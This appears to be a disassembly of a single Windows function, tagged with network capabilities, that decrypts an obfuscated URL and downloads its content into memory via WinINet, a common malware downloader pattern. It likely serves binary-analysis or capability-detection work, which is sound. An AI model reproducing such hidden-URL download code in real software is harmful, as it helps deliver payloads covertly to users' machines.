Function at 0x401571
Capabilities:
Create http request
Get http content length
Read data from internet
Receive data

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x74
mov dword [ebp - 0x10], str.TGCxJBTE
movdqu xmm0, xmmword [str._37_bpmtdisVxlepn]
movups xmmword [ebp - 0x45], xmm0
movdqu xmm0, xmmword [0x423230]
movups xmmword [ebp - 0x35], xmm0
mov dword [ebp - 0x28], 0x2426201d
mov dword [ebp - 0x24], 0x2f002669
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x25
lea eax, [ebp - 0x45]
mov dword [esp], eax
call sym.rjBHbLqP_char__unsigned_int__char_const__unsigned_int_
lea eax, [ebp - 0x45]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov dword [esp], str.Decrypted_URL:__s_n
call sym.printf_char_const__..._
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], str.NetClient
mov eax, dword [sym.imp.WININET.DLL_InternetOpenA]
call eax
sub esp, 0x14
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x401641
mov dword [esp], str.Error:_Unable_to_open_Internet_handle._n
call sym.printf_char_const__..._
mov eax, 0
jmp 0x401770
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0x80000000
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.WININET.DLL_InternetOpenUrlA]
call eax
sub esp, 0x18
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x4016a7
mov dword [esp], str.Error:_Unable_to_open_URL._n
call sym.printf_char_const__..._
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.WININET.DLL_InternetCloseHandle]
call eax
sub esp, 4
mov eax, 0
jmp 0x401770
mov dword [ebp - 0x50], 4
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x50]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x4c]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x20000005
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.WININET.DLL_HttpQueryInfoA]
call eax
sub esp, 0x14
mov eax, dword [ebp - 0x4c]
mov dword [esp], eax
call sym.operator_new___unsigned_int_
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x54], 0
mov dword [ebp - 0xc], 0
jmp 0x401705
mov eax, dword [ebp - 0x54]
add dword [ebp - 0xc], eax
call sym.OYtHWLET__
mov eax, dword [ebp - 0x4c]
sub eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0xc]
add ecx, edx
lea edx, [ebp - 0x54]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.WININET.DLL_InternetReadFile]
call eax
sub esp, 0x10
test eax, eax
je 0x401744
mov eax, dword [ebp - 0x54]
test eax, eax
je 0x401744
mov eax, 1
jmp 0x401749
mov eax, 0
test al, al
jne 0x4016fa
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.WININET.DLL_InternetCloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.WININET.DLL_InternetCloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret